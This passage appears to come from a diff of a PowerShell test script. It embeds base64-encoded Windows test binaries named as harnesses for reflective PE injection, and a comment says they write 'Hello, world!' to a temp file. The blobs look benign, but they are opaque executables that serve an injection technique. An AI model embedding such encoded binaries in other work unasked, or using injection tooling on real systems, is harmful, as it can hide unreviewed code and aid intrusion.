AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALgBAAAAw8zMzMzMzMzMzMxMi9xTSIHsYAEAAIsFFxAAAPIPEAUXEAAASI0NLBAAAEGJQwgPtwUBEAAA8g8RRCRAZkGJQwwPtgXxDwAAQYhDDosF8Q8AAIlEJEgPtwXqDwAAZolEJEz/FasPAABIjRXcDwAASIvI/xWTDwAASIvYSIXAD4STAAAASI1UJFBIjYwkcAEAAEG4AgEAAP8VXg8AAIXAdHZMjQW7DwAASI1MJFC6AgEAAP/ThcB1X0jHRCQwAAAAAESNQAdIjUwkUEUzyboAAABAx0QkKIAAAADHRCQgAgAAAP8VOw8AAEiL2EiFwHQnRTPJSI1UJEBIi8hFjUEOSMdEJCAAAAAA/xX1DgAASIvL/xUEDwAASIHEYAEAAFvDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXiEAAAAAAAB6IQAAAAAAAIYhAAAAAAAAmCEAAAAAAACsIQAAAAAAAFAhAAAAAAAAAAAAAAAAAAAlVEVNUCUAAEhlbGxvLCB3b3JsZCEAAABzdHJjYXRfcwAAAABudGRsbAAAAAAAAABcdGVzdG91dHB1dC50eHQAAQsDAAsBLAAEMAAAAAAAAAAAAAAAAAAAAAAAAKZ8PlYAAAAAwiAAAAEAAAABAAAAAQAAALggAAC8IAAAwCAAABAQAADkIAAAAABSZWZsZWN0aXZlUEVJbmplY3RUZXN0SGFybmVzcy5kbGwAVm9pZEZ1bmMAAAAAGCEAAAAAAAAAAAAAuiEAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4hAAAAAAAAeiEAAAAAAACGIQAAAAAAAJghAAAAAAAArCEAAAAAAABQIQAAAAAAAAAAAAAAAAAAiABDcmVhdGVGaWxlQQAiAUV4cGFuZEVudmlyb25tZW50U3RyaW5nc0EANAVXcml0ZUZpbGUATAJHZXRQcm9jQWRkcmVzcwAAGwJHZXRNb2R1bGVIYW5kbGVBAABSAENsb3NlSGFuZGxlAEtFUk5FTDMyLmRsbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEAAAJREAAHggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' - $Encoded32BitVoidDll = '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' + $Encoded32BitVoidDll = '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' # A bare bones test harness EXE that simply writes "Hello, world! (EXE ARGS)" to %TEMP%\testoutput.txt $Encoded64BitExe = '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